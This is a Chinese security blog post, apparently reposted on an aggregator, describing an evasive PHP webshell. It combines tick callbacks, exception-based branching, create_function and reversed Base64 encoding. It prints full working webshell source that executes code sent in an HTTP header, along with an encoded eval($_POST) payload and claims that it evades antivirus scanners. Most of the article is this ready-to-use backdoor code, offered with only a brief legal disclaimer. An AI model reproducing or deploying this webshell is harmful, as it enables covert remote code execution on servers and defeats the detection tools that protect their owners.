记录一个免杀的phpwebshelldemo

admin 2026-04-28 06:02:30 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档介绍了一种PHPwebshell免杀技术,结合分支对抗、异常捕获、回调函数、动态函数调用和编码混淆等方法。通过declare(ticks)触发定时回调,利用异常处理机制隐藏恶意代码,使用create_function动态执行经过Base64和逆序处理的payload。测试显示该方案能绕过多个安全检测工具,适用于PHP7环境。 综合评分: 82 文章分类: 恶意软件,WEB安全,免杀,安全开发,渗透测试


cover_image

记录一个免杀的php webshell demo

原创

Luc1dkilL Luc1dkilL

蚁景网络安全

2026年4月27日 17:40 湖南

在小说阅读器读本章

去阅读

分支对抗

分支对抗简单来说就是利用了增大程序控制分支的复杂度来使得绕过检测引擎,程序在控制流图上往往有几种结构:

那么我们还有其他的改变程序控制流的思路不?此处我用了两种方法混合在一起实现免杀

异常捕获机制

这里使用的是触发异常来完成程序控制流的第一次分支,所以我自己写了一个除以0触发异常的函数

function safeDivide(a,b) {
    if ($b == 0) {
        throw new Exception("Division by zero is not allowed.");
    }
    return a/b;
}

设置一个pass传参,我设置的主体框架如下:

try {
    echo "result:".safeDivide(2025, ($_GET['pass']-1));
}catch(Exception $e){
    // evil code
}

回调

我在php的官方文档里翻到一个有趣的函数

ticks参数可以设置Zend VM opcode执行条数后触发

我们测试一下:

<?php
declare(ticks=15);

function&nbsp;test(){
&nbsp; &nbsp;&nbsp;echo&nbsp;"this is evil code\n";
}
register_tick_function('test');
for&nbsp;($i&nbsp;=&nbsp;1;&nbsp;$i&nbsp;<=&nbsp;12;&nbsp;$i++) {
&nbsp; &nbsp;&nbsp;echo&nbsp;"shell:&nbsp;$i\n";
}

我们可以发现设置declare(ticks=15) 后,PHP每累计到约15个“tickable”执行点,就调用一次通过register_tick_function注册的函数。

那么对于我们的webshell免杀,我们也可以利用这个函数,来完成程序控制流的改变

此处的设计将declare回调放在最外层实现第一次的控制流变化,将异常触发放在内层实现第二次

动态函数调用

这个就是直接使用php的函数了,没啥好说的了

create_function(string&nbsp;$args,&nbsp;string&nbsp;$code):&nbsp;string

实际测试的时候,如果使用变量接受的话,容易被检测

$a&nbsp;=&nbsp;create_function('',&nbsp;'');
$a();

不使用变量来存匿名函数,这个也是尽量减少污点分析时候的特征

@create_function('','')))();

编码混淆

找个大模型一把梭

base64和逆序

function&nbsp;custom_base64_decode($input)&nbsp;{
&nbsp; &nbsp;&nbsp;$base64Chars&nbsp;=&nbsp;"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
&nbsp; &nbsp;&nbsp;$input&nbsp;=&nbsp;rtrim($input,&nbsp;'=');
&nbsp; &nbsp;&nbsp;$binaryString&nbsp;=&nbsp;'';
&nbsp; &nbsp;&nbsp;foreach&nbsp;(str_split($input)&nbsp;as&nbsp;$char) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$index&nbsp;=&nbsp;strpos($base64Chars,&nbsp;$char);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;($index&nbsp;===&nbsp;false) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;throw&nbsp;new&nbsp;Exception("Invalid Base64 character:&nbsp;$char");
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;$binaryString&nbsp;.=&nbsp;str_pad(decbin($index),&nbsp;6,&nbsp;'0', STR_PAD_LEFT);
}

&nbsp; &nbsp;&nbsp;$bytes&nbsp;=&nbsp;str_split($binaryString,&nbsp;8);
&nbsp; &nbsp;&nbsp;$decodedString&nbsp;=&nbsp;'';

&nbsp; &nbsp;&nbsp;foreach&nbsp;($bytes&nbsp;as&nbsp;$byte) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$decodedString&nbsp;.=&nbsp;chr(bindec($byte));
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;return&nbsp;$decodedString;
}

function&nbsp;reverseString($input)
{
&nbsp; &nbsp;&nbsp;if&nbsp;(!is_string($input)) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;"need str";
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;$length&nbsp;=&nbsp;strlen($input);
&nbsp; &nbsp;&nbsp;$reversed&nbsp;=&nbsp;"";
&nbsp; &nbsp;&nbsp;for&nbsp;($i&nbsp;=&nbsp;$length&nbsp;-&nbsp;1;&nbsp;$i&nbsp;>=&nbsp;0;&nbsp;$i--) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$reversed&nbsp;.=&nbsp;$input[&nbsp;$i&nbsp;];
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;return&nbsp;$reversed;
}

完整的webshell

源代码

具体的攻击载荷放在http的X-Csrf-Token里

<?php
session_start();
declare(ticks=15);
function&nbsp;safeDivide($a,&nbsp;$b)&nbsp;{
&nbsp; &nbsp;&nbsp;if&nbsp;($b&nbsp;==&nbsp;0) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;throw&nbsp;new&nbsp;Exception("Division by zero is not allowed.");
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;return&nbsp;$a&nbsp;/&nbsp;$b;
}
function&nbsp;custom_base64_decode($input)&nbsp;{
&nbsp; &nbsp;&nbsp;$base64Chars&nbsp;=&nbsp;"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
&nbsp; &nbsp;&nbsp;$input&nbsp;=&nbsp;rtrim($input,&nbsp;'=');
&nbsp; &nbsp;&nbsp;$binaryString&nbsp;=&nbsp;'';
&nbsp; &nbsp;&nbsp;foreach&nbsp;(str_split($input)&nbsp;as&nbsp;$char) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$index&nbsp;=&nbsp;strpos($base64Chars,&nbsp;$char);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;($index&nbsp;===&nbsp;false) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;throw&nbsp;new&nbsp;Exception("Invalid Base64 character:&nbsp;$char");
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;$binaryString&nbsp;.=&nbsp;str_pad(decbin($index),&nbsp;6,&nbsp;'0', STR_PAD_LEFT);
}

&nbsp; &nbsp;&nbsp;$bytes&nbsp;=&nbsp;str_split($binaryString,&nbsp;8);
&nbsp; &nbsp;&nbsp;$decodedString&nbsp;=&nbsp;'';

&nbsp; &nbsp;&nbsp;foreach&nbsp;($bytes&nbsp;as&nbsp;$byte) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$decodedString&nbsp;.=&nbsp;chr(bindec($byte));
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;return&nbsp;$decodedString;
}

function&nbsp;reverseString($input)
{
&nbsp; &nbsp;&nbsp;if&nbsp;(!is_string($input)) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;"need str";
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;$length&nbsp;=&nbsp;strlen($input);
&nbsp; &nbsp;&nbsp;$reversed&nbsp;=&nbsp;"";
&nbsp; &nbsp;&nbsp;for&nbsp;($i&nbsp;=&nbsp;$length&nbsp;-&nbsp;1;&nbsp;$i&nbsp;>=&nbsp;0;&nbsp;$i--) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$reversed&nbsp;.=&nbsp;$input[&nbsp;$i&nbsp;];
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;return&nbsp;$reversed;
}

function&nbsp;tickHandler(){
&nbsp; &nbsp;&nbsp;try&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;"result:".safeDivide(2025, ($_GET['pass']-1));
&nbsp; &nbsp; }catch(Exception&nbsp;$e){
&nbsp; &nbsp; &nbsp; &nbsp; @create_function('',custom_base64_decode(reverseString(apache_request_headers()['X-Csrf-Token'])))();
&nbsp; &nbsp; }
}

register_tick_function('tickHandler');

for&nbsp;($i&nbsp;=&nbsp;1;&nbsp;$i&nbsp;<=&nbsp;12;&nbsp;$i++) {
&nbsp; &nbsp;&nbsp;echo&nbsp;"shell:&nbsp;$i\n";
}

测试环境

PHP版本:PHP7全版本

OS:Windows和Linux环境均测试通过

使用方法

初始payload: eval($_POST[1]);

base64编码,逆序处理:==wOp0VMbR1UPB1XkgCbhZXZ

放在http头部里

webshell连接

免杀效果展示

  • 第四届伏魔挑战赛成功绕过(white)的截图

  • VT

  • D盾(2.1.8.6)

  • 河马:报了可疑


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:蚁景网络安全 Luc1dkilL Luc1dkilL《记录一个免杀的php webshell demo》

以色列“岩石”弹道导弹 网络安全文章

以色列“岩石”弹道导弹

文章总结: 以色列拉斐尔公司开发的岩石弹道导弹具备防区外精确打击能力,可攻击地面、地下及海上固定或机动目标。采用固体燃料火箭发动机实现超音速机动,末段垂直俯冲攻
第142期|GPTSecurity周报 网络安全文章

第142期|GPTSecurity周报

文章总结: 本期GPTSecurity周报汇总九篇AI安全论文,涵盖LLM后门攻击与防御、自适应红队指令组合、提示注入检测、多智能体代码漏洞检测、数字孪生自适应
评论:0   参与:  0